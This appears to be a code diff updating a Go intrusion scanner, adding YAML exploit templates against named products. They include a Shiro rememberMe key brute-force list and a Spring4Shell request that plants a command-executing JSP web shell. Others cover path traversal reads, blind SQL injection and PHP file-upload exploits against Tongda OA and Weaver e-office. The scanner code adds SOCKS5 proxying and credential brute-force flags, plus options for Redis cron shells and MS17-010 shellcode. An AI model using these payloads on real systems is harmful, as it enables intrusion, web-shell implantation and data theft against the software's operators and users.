View File
@@ -0,0 +1,155 @@
name: poc-yaml-shiro-key
set:
randstr: randomUppercase(32)
sets:
key:
- "kPH+bIxk5D2deZiIxcaaaA=="
- "2AvVhdsgUs0FSA3SDFAdag=="
- "3AvVhmFLUs0KTA3Kprsdag=="
- "4AvVhmFLUs0KTA3Kprsdag=="
- "5aaC5qKm5oqA5pyvAAAAAA=="
- "6ZmI6I2j5Y+R5aSn5ZOlAA=="
- "bWljcm9zAAAAAAAAAAAAAA=="
- "wGiHplamyXlVB11UXWol8g=="
- "Z3VucwAAAAAAAAAAAAAAAA=="
- "MTIzNDU2Nzg5MGFiY2RlZg=="
- "zSyK5Kp6PZAAjlT+eeNMlg=="
- "U3ByaW5nQmxhZGUAAAAAAA=="
- "5AvVhmFLUs0KTA3Kprsdag=="
- "bXdrXl9eNjY2KjA3Z2otPQ=="
- "fCq+/xW488hMTCD+cmJ3aQ=="
- "1QWLxg+NYmxraMoxAXu/Iw=="
- "ZUdsaGJuSmxibVI2ZHc9PQ=="
- "L7RioUULEFhRyxM7a2R/Yg=="
- "r0e3c16IdVkouZgk1TKVMg=="
- "bWluZS1hc3NldC1rZXk6QQ=="
- "a2VlcE9uR29pbmdBbmRGaQ=="
- "WcfHGU25gNnTxTlmJMeSpw=="
- "ZAvph3dsQs0FSL3SDFAdag=="
- "tiVV6g3uZBGfgshesAQbjA=="
- "cmVtZW1iZXJNZQAAAAAAAA=="
- "ZnJlc2h6Y24xMjM0NTY3OA=="
- "RVZBTk5JR0hUTFlfV0FPVQ=="
- "WkhBTkdYSUFPSEVJX0NBVA=="
- "GsHaWo4m1eNbE0kNSMULhg=="
- "l8cc6d2xpkT1yFtLIcLHCg=="
- "KU471rVNQ6k7PQL4SqxgJg=="
- "0AvVhmFLUs0KTA3Kprsdag=="
- "1AvVhdsgUs0FSA3SDFAdag=="
- "25BsmdYwjnfcWmnhAciDDg=="
- "3JvYhmBLUs0ETA5Kprsdag=="
- "6AvVhmFLUs0KTA3Kprsdag=="
- "6NfXkC7YVCV5DASIrEm1Rg=="
- "7AvVhmFLUs0KTA3Kprsdag=="
- "8AvVhmFLUs0KTA3Kprsdag=="
- "8BvVhmFLUs0KTA3Kprsdag=="
- "9AvVhmFLUs0KTA3Kprsdag=="
- "OUHYQzxQ/W9e/UjiAGu6rg=="
- "a3dvbmcAAAAAAAAAAAAAAA=="
- "aU1pcmFjbGVpTWlyYWNsZQ=="
- "bXRvbnMAAAAAAAAAAAAAAA=="
- "OY//C4rhfwNxCQAQCrQQ1Q=="
- "5J7bIJIV0LQSN3c9LPitBQ=="
- "f/SY5TIve5WWzT4aQlABJA=="
- "bya2HkYo57u6fWh5theAWw=="
- "WuB+y2gcHRnY2Lg9+Aqmqg=="
- "3qDVdLawoIr1xFd6ietnwg=="
- "YI1+nBV//m7ELrIyDHm6DQ=="
- "6Zm+6I2j5Y+R5aS+5ZOlAA=="
- "2A2V+RFLUs+eTA3Kpr+dag=="
- "6ZmI6I2j3Y+R1aSn5BOlAA=="
- "SkZpbmFsQmxhZGUAAAAAAA=="
- "2cVtiE83c4lIrELJwKGJUw=="
- "fsHspZw/92PrS3XrPW+vxw=="
- "XTx6CKLo/SdSgub+OPHSrw=="
- "sHdIjUN6tzhl8xZMG3ULCQ=="
- "O4pdf+7e+mZe8NyxMTPJmQ=="
- "HWrBltGvEZc14h9VpMvZWw=="
- "rPNqM6uKFCyaL10AK51UkQ=="
- "Y1JxNSPXVwMkyvES/kJGeQ=="
- "lT2UvDUmQwewm6mMoiw4Ig=="
- "MPdCMZ9urzEA50JDlDYYDg=="
- "xVmmoltfpb8tTceuT5R7Bw=="
- "c+3hFGPjbgzGdrC+MHgoRQ=="
- "ClLk69oNcA3m+s0jIMIkpg=="
- "Bf7MfkNR0axGGptozrebag=="
- "1tC/xrDYs8ey+sa3emtiYw=="
- "ZmFsYWRvLnh5ei5zaGlybw=="
- "cGhyYWNrY3RmREUhfiMkZA=="
- "IduElDUpDDXE677ZkhhKnQ=="
- "yeAAo1E8BOeAYfBlm4NG9Q=="
- "cGljYXMAAAAAAAAAAAAAAA=="
- "2itfW92XazYRi5ltW0M2yA=="
- "XgGkgqGqYrix9lI6vxcrRw=="
- "ertVhmFLUs0KTA3Kprsdag=="
- "5AvVhmFLUS0ATA4Kprsdag=="
- "s0KTA3mFLUprK4AvVhsdag=="
- "hBlzKg78ajaZuTE0VLzDDg=="
- "9FvVhtFLUs0KnA3Kprsdyg=="
- "d2ViUmVtZW1iZXJNZUtleQ=="
- "yNeUgSzL/CfiWw1GALg6Ag=="
- "NGk/3cQ6F5/UNPRh8LpMIg=="
- "4BvVhmFLUs0KTA3Kprsdag=="
- "MzVeSkYyWTI2OFVLZjRzZg=="
- "empodDEyMwAAAAAAAAAAAA=="
- "A7UzJgh1+EWj5oBFi+mSgw=="
- "c2hpcm9fYmF0aXMzMgAAAA=="
- "i45FVt72K2kLgvFrJtoZRw=="
- "U3BAbW5nQmxhZGUAAAAAAA=="
- "Jt3C93kMR9D5e8QzwfsiMw=="
- "MTIzNDU2NzgxMjM0NTY3OA=="
- "vXP33AonIp9bFwGl7aT7rA=="
- "V2hhdCBUaGUgSGVsbAAAAA=="
- "Q01TX0JGTFlLRVlfMjAxOQ=="
- "Is9zJ3pzNh2cgTHB4ua3+Q=="
- "NsZXjXVklWPZwOfkvk6kUA=="
- "GAevYnznvgNCURavBhCr1w=="
- "66v1O8keKNV3TTcGPK1wzg=="
- "SDKOLKn2J1j/2BHjeZwAoQ=="
- "kPH+bIxk5D2deZiIxcabaA=="
- "kPH+bIxk5D2deZiIxcacaA=="
- "3AvVhdAgUs0FSA4SDFAdBg=="
- "4AvVhdsgUs0F563SDFAdag=="
- "FL9HL9Yu5bVUJ0PDU1ySvg=="
- "5RC7uBZLkByfFfJm22q/Zw=="
- "eXNmAAAAAAAAAAAAAAAAAA=="
- "fdCEiK9YvLC668sS43CJ6A=="
- "FJoQCiz0z5XWz2N2LyxNww=="
- "HeUZ/LvgkO7nsa18ZyVxWQ=="
- "HoTP07fJPKIRLOWoVXmv+Q=="
- "iycgIIyCatQofd0XXxbzEg=="
- "m0/5ZZ9L4jjQXn7MREr/bw=="
- "NoIw91X9GSiCrLCF03ZGZw=="
- "oPH+bIxk5E2enZiIxcqaaA=="
- "QAk0rp8sG0uJC4Ke2baYNA=="
- "Rb5RN+LofDWJlzWAwsXzxg=="
- "s2SE9y32PvLeYo+VGFpcKA=="
- "SrpFBcVD89eTQ2icOD0TMg=="
- "U0hGX2d1bnMAAAAAAAAAAA=="
- "Us0KvVhTeasAm43KFLAeng=="
- "Ymx1ZXdoYWxlAAAAAAAAAA=="
- "YWJjZGRjYmFhYmNkZGNiYQ=="
- "zIiHplamyXlVB11UXWol8g=="
- "ZjQyMTJiNTJhZGZmYjFjMQ=="
mode:
- "cbc"
- "gcm"
payload:
- shirokey(key,mode)
rules:
- method: GET
path: /
follow_redirects: false
headers:
Cookie: JSESSIONID={{randstr}};rememberMe=login
expression: |
"Set-Cookie" in response.headers && (response.headers["Set-Cookie"].contains("rememberMe=") || response.headers["Set-Cookie"].contains("=deleteMe"))
- method: GET
path: /
headers:
Cookie: JSESSIONID={{randstr}};rememberMe={{payload}}
follow_redirects: false
expression: |
!response.headers["Set-Cookie"].contains("rememberMe=")
detail:
author: shadown1ng(https://github.com/shadown1ng)
+27
View File
@@ -0,0 +1,27 @@
name: poc-yaml-spring-core-rce
manual: true
transport: http
set:
r1: randomInt(40000, 44800)
rules:
- method: POST
path: /
headers:
suffix: "%>//"
c1: "Runtime"
c2: "<%"
DNT: "1"
Content-Type: "application/x-www-form-urlencoded"
body: "class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bc2%7Di%20if(%22j%22.equals(request.getParameter(%22data%22)))%7B%20java.io.InputStream%20in%20%3D%20%25%7Bc1%7Di.getRuntime().exec(request.getParameter(%22word%22)).getInputStream()%3B%20int%20a%20%3D%20-1%3B%20byte%5B%5D%20b%20%3D%20new%20byte%5B2048%5D%3B%20while((a%3Din.read(b))!%3D-1)%7B%20out.println(new%20String(b))%3B%20%7D%20%7D%20%25%7Bsuffix%7Di&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT&class.module.classLoader.resources.context.parent.pipeline.first.prefix=tomcatwar&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat="
follow_redirects: true
expression: |
response.status == 200
- method: GET
path: /tomcatwar.jsp?data=j&word=echo%20{r1}
follow_redirects: false
expression: |
response.status == 200 && response.body.bcontains(bytes(string(r1)))
detail:
author: marmot
links:
- https://github.com/Mr-xn/spring-core-rce
@@ -0,0 +1,22 @@
name: poc-yaml-springboot-cve-2021-21234
groups:
spring1:
- method: GET
path: /manage/log/view?filename=/windows/win.ini&base=../../../../../../../../../../
expression: response.status == 200 && response.body.bcontains(b"for 16-bit app support") && response.body.bcontains(b"fonts")
spring2:
- method: GET
path: /log/view?filename=/windows/win.ini&base=../../../../../../../../../../
expression: response.status == 200 && response.body.bcontains(b"for 16-bit app support") && response.body.bcontains(b"fonts")
spring3:
- method: GET
path: /manage/log/view?filename=/etc/hosts&base=../../../../../../../../../../
expression: response.status == 200 && response.body.bcontains(b"127.0.0.1") && response.body.bcontains(b"localhost")
spring4:
- method: GET
path: /log/view?filename=/etc/hosts&base=../../../../../../../../../../
expression: response.status == 200 && response.body.bcontains(b"127.0.0.1") && response.body.bcontains(b"localhost")
detail:
author: iak3ec(https://github.com/nu0l)
links:
- https://mp.weixin.qq.com/s/ZwhBEz2ek26Zf3F-csoRgQ
+32
View File
@@ -0,0 +1,32 @@
name: poc-yaml-sql-file
set:
host: request.url.domain
sets:
path:
- "1.sql"
- "backup.sql"
- "database.sql"
- "data.sql"
- "db_backup.sql"
- "dbdump.sql"
- "db.sql"
- "dump.sql"
- "{{host}}.sql"
- "{{host}}_db.sql"
- "localhost.sql"
- "mysqldump.sql"
- "mysql.sql"
- "site.sql"
- "sql.sql"
- "temp.sql"
- "translate.sql"
- "users.sql"
rules:
- method: GET
path: /{{path}}
follow_redirects: false
continue: true
expression: |
"(?m)(?:DROP|CREATE|(?:UN)?LOCK) TABLE|INSERT INTO".bmatches(response.body)
detail:
author: shadown1ng(https://github.com/shadown1ng)
+11 -1
View File
@@ -1,6 +1,7 @@
name: poc-yaml-swagger-ui-unauth
sets:
path:
- swagger/ui/index
- swagger-ui.html
- api/swagger-ui.html
- service/swagger-ui.html
@@ -9,11 +10,20 @@ sets:
- actuator/swagger-ui.html
- libs/swagger-ui.html
- template/swagger-ui.html
- api_docs
- api/docs/
- api/index.html
- swagger/v1/swagger.yaml
- swagger/v1/swagger.json
- swagger.yaml
- swagger.json
- api-docs/swagger.yaml
- api-docs/swagger.json
rules:
- method: GET
path: /{{path}}
expression: |
response.status == 200 && response.body.bcontains(b"Swagger UI") && response.body.bcontains(b"swagger-ui.min.js")
response.status == 200 && (response.body.bcontains(b"Swagger UI") || response.body.bcontains(b"swagger-ui.min.js")|| response.body.bcontains(b'swagger:') || response.body.bcontains(b'swagger:') || response.body.bcontains(b'Swagger 2.0') || response.body.bcontains(b"\"swagger\":") )
detail:
author: AgeloVito
links:
+1 -1
View File
@@ -6,9 +6,9 @@ sets:
- root
- manager
password:
- tomcat
- ""
- admin
- tomcat
- 123456
- root
payload:
+21
View File
@@ -0,0 +1,21 @@
name: tongda-insert-sql-inject
rules:
- method: POST
path: /general/document/index.php/recv/register/insert
body: |
title)values("'"^exp(if(ascii(substr(MOD(5,2),1,1))<128,1,710)))# =1&_SERVER=
expression: response.status == 302 && response.headers["set-cookie"].contains("PHPSESSID=")
- method: POST
path: /general/document/index.php/recv/register/insert
body: |
title)values("'"^exp(if(ascii(substr((select/**/SID/**/from/**/user_online/**/limit/**/0,1),8,1))<66,1,710)))# =1&_SERVER=
expression: response.status != 502 && response.status != 500
detail:
author: zan8in
description: |
通达OA v11.6 insert参数包含SQL注入漏洞,攻击者通过漏洞可获取数据库敏感信息
app="TDXK-通达OA"
发送请求包判断漏洞 /general/document/index.php/recv/register/insert 返回302则是存在漏洞,返回500则不存在
links:
- http://wiki.peiqi.tech/wiki/oa/%E9%80%9A%E8%BE%BEOA/%E9%80%9A%E8%BE%BEOA%20v11.6%20insert%20SQL%E6%B3%A8%E5%85%A5%E6%BC%8F%E6%B4%9E.html
- https://blog.csdn.net/weixin_39779975/article/details/111091529
@@ -0,0 +1,41 @@
name: poc-yaml-tongda-oa-v11.9-api.ali.php-fileupload
set:
filename: randomLowercase(8)
r1: randomLowercase(8)
payload: base64("file_put_contents('../../"+filename+".php','<?php echo(md5("+r1+"));?>');")
rboundary: md5(randomLowercase(8))
date: TDdate()
rules:
- method: POST
path: /mobile/api/api.ali.php
headers:
Content-Type: multipart/form-data; boundary={{rboundary}}
Accept-Encoding: gzip
follow_redirects: false
body: "\
--{{rboundary}}\r\n\
Content-Disposition: form-data; name=\"file\"; filename=\"{{filename}}.json\"\r\n\
Content-Type: application/octet-stream\r\n\
\r\n\
{\"modular\":\"AllVariable\",\"a\":\"{{payload}}\",\"dataAnalysis\":\"{\\\"a\\\":\\\"錦',$BackData[dataAnalysis] => eval(base64_decode($BackData[a])));/*\\\"}\"}\r\n\
--{{rboundary}}--\r\n\
"
expression: |
response.status == 200
- method: GET
path: /inc/package/work.php?id=../../../../../myoa/attach/approve_center/{{date}}/%3E%3E%3E%3E%3E%3E%3E%3E%3E%3E%3E.{{filename}}
expression: |
response.status == 200 && response.body.bcontains(b'OK')
- method: GET
path: /{{filename}}.php
expression: |
response.status == 200 && response.body.bcontains(bytes(md5(r1)))
detail:
author: PeiQi0
influence_version: "<= 通达OA 11.9"
links:
- https://github.com/PeiQi0/PeiQi-WIKI-Book/blob/main/docs/wiki/oa/%E9%80%9A%E8%BE%BEOA/%E9%80%9A%E8%BE%BEOA%20v11.8%20api.ali.php%20%E4%BB%BB%E6%84%8F%E6%96%87%E4%BB%B6%E4%B8%8A%E4%BC%A0%E6%BC%8F%E6%B4%9E.md
tags: tongda,fileupload
+10 -14
View File
@@ -1,17 +1,13 @@
name: poc-yaml-tongda-user-session-disclosure
name: tongda-user-session-disclosure
rules:
- method: GET
path: /mobile/auth_mobi.php?isAvatar=1&uid=1&P_VER=0
follow_redirects: false
expression: "true"
- method: POST
path: /general/userinfo.php?UID=1
follow_redirects: false
expression: |
response.status == 200 && response.body.bcontains(b"\"dept_name\":\"") && response.body.bcontains(b"\"online_flag\":") && response.headers["Content-Type"].contains("application/json")
path: /mobile/auth_mobi.php?isAvatar=1&uid=11121212121212&P_VER=0
expression: response.body.bcontains(b'RELOGIN') && response.status == 200
detail:
author: kzaopa(https://github.com/kzaopa)
links:
- https://mp.weixin.qq.com/s/llyGEBRo0t-C7xOLMDYfFQ
author: kzaopa(https://github.com/kzaopa)
description: |
通达OA v11.7 中存在某接口查询在线用户,当用户在线时会返回 PHPSESSION使其可登录后台系统
links:
- http://wiki.peiqi.tech/wiki/oa/%E9%80%9A%E8%BE%BEOA/%E9%80%9A%E8%BE%BEOA%20v11.7%20auth_mobi.php%20%E5%9C%A8%E7%BA%BF%E7%94%A8%E6%88%B7%E7%99%BB%E5%BD%95%E6%BC%8F%E6%B4%9E.html
- https://www.cnblogs.com/T0uch/p/14475551.html
- https://s1xhcl.github.io/2021/03/13/%E9%80%9A%E8%BE%BEOA-v11-7-%E5%9C%A8%E7%BA%BF%E7%94%A8%E6%88%B7%E7%99%BB%E5%BD%95%E6%BC%8F%E6%B4%9E/
+50
View File
@@ -0,0 +1,50 @@
name: tongda-v2017-uploadfile
set:
rand1: randomLowercase(12)
fileContent: randomLowercase(12)
rules:
- method: POST
path: /module/ueditor/php/action_upload.php?action=uploadfile
headers:
Content-Type: multipart/form-data; boundary=55719851240137822763221368724
body: |
-----------------------------55719851240137822763221368724
Content-Disposition: form-data; name="CONFIG[fileFieldName]"
ffff
-----------------------------55719851240137822763221368724
Content-Disposition: form-data; name="CONFIG[fileMaxSize]"
1000000000
-----------------------------55719851240137822763221368724
Content-Disposition: form-data; name="CONFIG[filePathFormat]"
tcmd
-----------------------------55719851240137822763221368724
Content-Disposition: form-data; name="CONFIG[fileAllowFiles][]"
.txt
-----------------------------55719851240137822763221368724
Content-Disposition: form-data; name="ffff"; filename="{{rand1}}.txt"
Content-Type: application/octet-stream
{{fileContent}}
-----------------------------55719851240137822763221368724
Content-Disposition: form-data; name="mufile"
submit
-----------------------------55719851240137822763221368724--
expression: |
response.status == 200
- method: GET
path: /{{rand1}}.txt
expression: |
response.status == 200 && response.body.bcontains(bytes(fileContent))
detail:
author: zan8in
description: |
通达OA v2017 action_upload.php 任意文件上传漏洞
通达OA v2017 action_upload.php 文件过滤不足且无需后台权限,导致任意文件上传漏洞
app="TDXK-通达OA"
links:
- http://wiki.peiqi.tech/wiki/oa/%E9%80%9A%E8%BE%BEOA/%E9%80%9A%E8%BE%BEOA%20v2017%20action_upload.php%20%E4%BB%BB%E6%84%8F%E6%96%87%E4%BB%B6%E4%B8%8A%E4%BC%A0%E6%BC%8F%E6%B4%9E.html
@@ -0,0 +1,13 @@
name: poc-yaml-weaver-E-Cology-getSqlData-sqli
rules:
- method: GET
path: /Api/portal/elementEcodeAddon/getSqlData?sql=select%20@@version
follow_redirects: false
expression: |
response.status == 200 && response.body.bcontains(b'Microsoft SQL Server')
detail:
author: PeiQi0
links:
- https://github.com/PeiQi0/PeiQi-WIKI-Book/blob/main/docs/wiki/oa/%E6%B3%9B%E5%BE%AEOA/%E6%B3%9B%E5%BE%AEOA%20E-Cology%20getSqlData%20SQL%E6%B3%A8%E5%85%A5%E6%BC%8F%E6%B4%9E.md
tags: weaver,sqli
@@ -0,0 +1,25 @@
name: poc-yaml-weaver-oa-eoffice-v9-upload-getshell
manual: true
transport: http
set:
r1: randomLowercase(8)
rules:
- method: POST
path: /general/index/UploadFile.php?m=uploadPicture&uploadType=eoffice_logo&userId=
headers:
Content-Type: multipart/form-data;boundary=e64bdf16c554bbc109cecef6451c26a4
body: |-
--e64bdf16c554bbc109cecef6451c26a4
Content-Disposition: form-data; name="Filedata"; filename="test.php"
Content-Type: image/jpeg
{{r1}}
--e64bdf16c554bbc109cecef6451c26a4--
expression: response.status == 200 && response.body.bcontains(b"logo-eoffice.php")
- method: GET
path: /images/logo/logo-eoffice.php
follow_redirects: true
expression: response.status == 200 && response.body.bcontains(bytes(r1))
detail:
author: szd790056181
links:
- http://www.ctfiot.com/13682.html
+60 -44
View File
@@ -12,19 +12,19 @@ import (
)
func Parse(Info *HostInfo) {
ParseScantype(Info)
ParseUser(Info)
ParseUser()
ParsePass(Info)
ParseInput(Info)
ParseScantype(Info)
}
func ParseUser(Info *HostInfo) {
if Info.Username == "" && Userfile == "" {
func ParseUser() {
if Username == "" && Userfile == "" {
return
}
if Info.Username != "" {
Info.Usernames = strings.Split(Info.Username, ",")
var Usernames []string
if Username != "" {
Usernames = strings.Split(Username, ",")
}
if Userfile != "" {
@@ -32,37 +32,50 @@ func ParseUser(Info *HostInfo) {
if err == nil {
for _, user := range users {
if user != "" {
Info.Usernames = append(Info.Usernames, user)
Usernames = append(Usernames, user)
}
}
}
}
Info.Usernames = RemoveDuplicate(Info.Usernames)
Usernames = RemoveDuplicate(Usernames)
for name := range Userdict {
Userdict[name] = Info.Usernames
Userdict[name] = Usernames
}
}
func ParsePass(Info *HostInfo) {
if Info.Password != "" {
passs := strings.Split(Info.Password, ",")
var PwdList []string
if Password != "" {
passs := strings.Split(Password, ",")
for _, pass := range passs {
if pass != "" {
Info.Passwords = append(Info.Passwords, pass)
PwdList = append(PwdList, pass)
}
}
Passwords = Info.Passwords
Passwords = PwdList
}
if Passfile != "" {
passs, err := Readfile(Passfile)
if err == nil {
for _, pass := range passs {
if pass != "" {
Info.Passwords = append(Info.Passwords, pass)
PwdList = append(PwdList, pass)
}
}
Passwords = PwdList
}
}
if URL != "" {
urls := strings.Split(URL, ",")
TmpUrls := make(map[string]struct{})
for _, url := range urls {
if _, ok := TmpUrls[url]; !ok {
TmpUrls[url] = struct{}{}
if url != "" {
Urls = append(Urls, url)
}
}
Passwords = Info.Passwords
}
}
if UrlFile != "" {
@@ -119,6 +132,10 @@ func ParseInput(Info *HostInfo) {
os.Exit(0)
}
if BruteThread <= 0 {
BruteThread = 1
}
if TmpOutputfile != "" {
if !strings.Contains(Outputfile, "/") && !strings.Contains(Outputfile, `\`) {
Outputfile = getpath() + TmpOutputfile
@@ -126,9 +143,11 @@ func ParseInput(Info *HostInfo) {
Outputfile = TmpOutputfile
}
}
if TmpSave == true {
IsSave = false
}
if Info.Ports == DefaultPorts {
Info.Ports += "," + Webport
}
@@ -143,7 +162,7 @@ func ParseInput(Info *HostInfo) {
if UserAdd != "" {
user := strings.Split(UserAdd, ",")
for a, _ := range Userdict {
for a := range Userdict {
Userdict[a] = append(Userdict[a], user...)
Userdict[a] = RemoveDuplicate(Userdict[a])
}
@@ -154,40 +173,37 @@ func ParseInput(Info *HostInfo) {
Passwords = append(Passwords, pass...)
Passwords = RemoveDuplicate(Passwords)
}
if Socks5Proxy != "" && !strings.HasPrefix(Socks5Proxy, "socks5://") {
Socks5Proxy = "socks5://" + Socks5Proxy
}
}
func ParseScantype(Info *HostInfo) {
_, ok := PORTList[Info.Scantype]
_, ok := PORTList[Scantype]
if !ok {
showmode()
}
if Info.Scantype != "all" {
if Info.Ports == DefaultPorts {
switch Info.Scantype {
case "rdp":
Info.Ports = "3389"
case "wmi":
Info.Ports = "135"
case "web":
Info.Ports = Webport
case "webonly":
Info.Ports = Webport
case "ms17010":
Info.Ports = "445"
case "cve20200796":
Info.Ports = "445"
case "smb2":
Info.Ports = "445"
case "portscan":
Info.Ports = DefaultPorts + "," + Webport
case "main":
Info.Ports = DefaultPorts
default:
port, _ := PORTList[Info.Scantype]
Info.Ports = strconv.Itoa(port)
}
fmt.Println("-m ", Info.Scantype, " start scan the port:", Info.Ports)
if Scantype != "all" && Info.Ports == DefaultPorts+","+Webport {
switch Scantype {
case "rdp":
Info.Ports = "3389"
case "web":
Info.Ports = Webport
case "webonly":
Info.Ports = Webport
case "ms17010":
Info.Ports = "445"
case "cve20200796":
Info.Ports = "445"
case "portscan":
Info.Ports = DefaultPorts + "," + Webport
case "main":
Info.Ports = DefaultPorts
default:
port, _ := PORTList[Scantype]
Info.Ports = strconv.Itoa(port)
}
fmt.Println("-m ", Scantype, " start scan the port:", Info.Ports)
}
}
+3 -3
View File
@@ -86,9 +86,6 @@ func parseIP(ip string) []string {
//解析 /24 /16 /8 /xxx 等
case strings.Contains(ip, "/"):
return parseIP2(ip)
//192.168.1.1-192.168.1.100
case strings.Contains(ip, "-"):
return parseIP1(ip)
//可能是域名,用lookup获取ip
case reg.MatchString(ip):
// _, err := net.LookupHost(ip)
@@ -96,6 +93,9 @@ func parseIP(ip string) []string {
// return nil
// }
return []string{ip}
//192.168.1.1-192.168.1.100
case strings.Contains(ip, "-"):
return parseIP1(ip)
//处理单个ip
default:
testIP := net.ParseIP(ip)
+4 -2
View File
@@ -11,7 +11,10 @@ func ParsePort(ports string) (scanPorts []int) {
}
slices := strings.Split(ports, ",")
for _, port := range slices {
port = strings.Trim(port, " ")
port = strings.TrimSpace(port)
if port == "" {
continue
}
upper := port
if strings.Contains(port, "-") {
ranges := strings.Split(port, "-")
@@ -28,7 +31,6 @@ func ParsePort(ports string) (scanPorts []int) {
port = ranges[1]
upper = ranges[0]
}
}
start, _ := strconv.Atoi(port)
end, _ := strconv.Atoi(upper)
+26 -32
View File
@@ -1,6 +1,6 @@
package common
var version = "1.7.1"
var version = "1.8.1"
var Userdict = map[string][]string{
"ftp": {"ftp", "admin", "www", "web", "root", "db", "wwwroot", "data"},
"mysql": {"root", "mysql"},
@@ -37,8 +37,6 @@ var PORTList = map[string]int{
"portscan": 0,
"icmp": 0,
"main": 0,
"smb2": 1000004,
"wmi": 1000005,
}
var Outputfile = getpath() + "result.txt"
@@ -47,44 +45,31 @@ var Webport = "80,81,82,83,84,85,86,87,88,89,90,91,92,98,99,443,800,801,808,880,
var DefaultPorts = "21,22,80,81,135,139,443,445,1433,1521,3306,5432,6379,7001,8000,8080,8089,9000,9200,11211,27017"
type HostInfo struct {
Host string
Ports string
Domain string
Url string
Path string
Timeout int64
Scantype string
Command string
SshKey string
Username string
Password string
Usernames []string
Passwords []string
Infostr []string
Hash string
Host string
Ports string
Url string
Infostr []string
}
type PocInfo struct {
Num int
Rate int
Timeout int64
Proxy string
PocName string
PocDir string
Target string
TargetFile string
RawFile string
Cookie string
ForceSSL bool
ApiKey string
CeyeDomain string
Target string
PocName string
}
var (
Path string
Scantype string
Command string
SshKey string
Domain string
Username string
Password string
Proxy string
Timeout int64
WebTimeout int64
TmpOutputfile string
TmpSave bool
IsPing bool
IsWmi bool
Ping bool
Pocinfo PocInfo
IsWebCan bool
@@ -108,4 +93,13 @@ var (
PassAdd string
BruteThread int
LiveTop int
Socks5Proxy string
)
var (
PocNum int
PocFull bool
CeyeDomain string
ApiKey string
Cookie string
)
+28 -15
View File
@@ -4,6 +4,16 @@ import (
"flag"
)
func init() {
go func() {
for {
runtime.GC()
debug.FreeOSMemory()
time.Sleep(10 * time.Second)
}
}()
}
func Banner() {
banner := `
___ _
@@ -22,24 +32,24 @@ func Flag(Info *HostInfo) {
flag.StringVar(&NoHosts, "hn", "", "the hosts no scan,as: -hn 192.168.1.1/24")
flag.StringVar(&Info.Ports, "p", DefaultPorts, "Select a port,for example: 22 | 1-65535 | 22,80,3306")
flag.StringVar(&PortAdd, "pa", "", "add port base DefaultPorts,-pa 3389")
flag.StringVar(&UserAdd, "usera", "", "add port base DefaultUsers,-usera user")
flag.StringVar(&PassAdd, "pwda", "", "add port base DefaultPasses,-pwda password")
flag.StringVar(&UserAdd, "usera", "", "add a user base DefaultUsers,-usera user")
flag.StringVar(&PassAdd, "pwda", "", "add a password base DefaultPasses,-pwda password")
flag.StringVar(&NoPorts, "pn", "", "the ports no scan,as: -pn 445")
flag.StringVar(&Info.Command, "c", "", "exec command (ssh)")
flag.StringVar(&Info.SshKey, "sshkey", "", "sshkey file (id_rsa)")
flag.StringVar(&Info.Domain, "domain", "", "smb domain")
flag.StringVar(&Info.Username, "user", "", "username")
flag.StringVar(&Info.Password, "pwd", "", "password")
flag.Int64Var(&Info.Timeout, "time", 3, "Set timeout")
flag.StringVar(&Info.Scantype, "m", "all", "Select scan type ,as: -m ssh")
flag.StringVar(&Info.Path, "path", "", "fcgi、smb romote file path")
flag.StringVar(&Command, "c", "", "exec command (ssh)")
flag.StringVar(&SshKey, "sshkey", "", "sshkey file (id_rsa)")
flag.StringVar(&Domain, "domain", "", "smb domain")
flag.StringVar(&Username, "user", "", "username")
flag.StringVar(&Password, "pwd", "", "password")
flag.Int64Var(&Timeout, "time", 3, "Set timeout")
flag.StringVar(&Scantype, "m", "all", "Select scan type ,as: -m ssh")
flag.StringVar(&Path, "path", "", "fcgi、smb romote file path")
flag.IntVar(&Threads, "t", 600, "Thread nums")
flag.IntVar(&LiveTop, "top", 10, "show live len top")
flag.StringVar(&HostFile, "hf", "", "host file, -hf ip.txt")
flag.StringVar(&Userfile, "userf", "", "username file")
flag.StringVar(&Passfile, "pwdf", "", "password file")
flag.StringVar(&PortFile, "portf", "", "Port File")
flag.StringVar(&PocPath, "pocpath", "", "Port File")
flag.StringVar(&PocPath, "pocpath", "", "poc file path")
flag.StringVar(&RedisFile, "rf", "", "redis file to write sshkey file (as: -rf id_rsa.pub) ")
flag.StringVar(&RedisShell, "rs", "", "redis shell to write cron file (as: -rs 192.168.1.1:6666) ")
flag.BoolVar(&IsWebCan, "nopoc", false, "not to scan web vul")
@@ -51,12 +61,15 @@ func Flag(Info *HostInfo) {
flag.BoolVar(&TmpSave, "no", false, "not to save output log")
flag.Int64Var(&WaitTime, "debug", 60, "every time to LogErr")
flag.BoolVar(&Silent, "silent", false, "silent scan")
flag.BoolVar(&PocFull, "full", false, "poc full scan,as: shiro 100 key")
flag.StringVar(&URL, "u", "", "url")
flag.StringVar(&UrlFile, "uf", "", "urlfile")
flag.StringVar(&Pocinfo.PocName, "pocname", "", "use the pocs these contain pocname, -pocname weblogic")
flag.StringVar(&Pocinfo.Proxy, "proxy", "", "set poc proxy, -proxy http://127.0.0.1:8080")
flag.StringVar(&Pocinfo.Cookie, "cookie", "", "set poc cookie")
flag.Int64Var(&Pocinfo.Timeout, "wt", 5, "Set web timeout")
flag.IntVar(&Pocinfo.Num, "num", 20, "poc rate")
flag.StringVar(&Proxy, "proxy", "", "set poc proxy, -proxy http://127.0.0.1:8080")
flag.StringVar(&Socks5Proxy, "socks5", "", "set socks5 proxy, will be used in tcp connection, timeout setting will not work")
flag.StringVar(&Cookie, "cookie", "", "set poc cookie,-cookie rememberMe=login")
flag.Int64Var(&WebTimeout, "wt", 5, "Set web timeout")
flag.IntVar(&PocNum, "num", 20, "poc rate")
flag.StringVar(&SC, "sc", "", "ms17 shellcode,as -sc add")
flag.Parse()
}
+65
View File
@@ -0,0 +1,65 @@
package common
import (
"errors"
"golang.org/x/net/proxy"
"net"
"net/url"
"strings"
"time"
)
func WrapperTcpWithTimeout(network, address string, timeout time.Duration) (net.Conn, error) {
d := &net.Dialer{Timeout: timeout}
return WrapperTCP(network, address, d)
}
func WrapperTCP(network, address string,forward * net.Dialer) (net.Conn, error) {
//get conn
var conn net.Conn
if Socks5Proxy == "" {
var err error
conn,err = forward.Dial(network, address)
if err != nil {
return nil, err
}
}else {
dailer, err := Socks5Dailer(forward)
if err != nil{
return nil, err
}
conn,err = dailer.Dial(network, address)
if err != nil {
return nil, err
}
}
return conn, nil
}
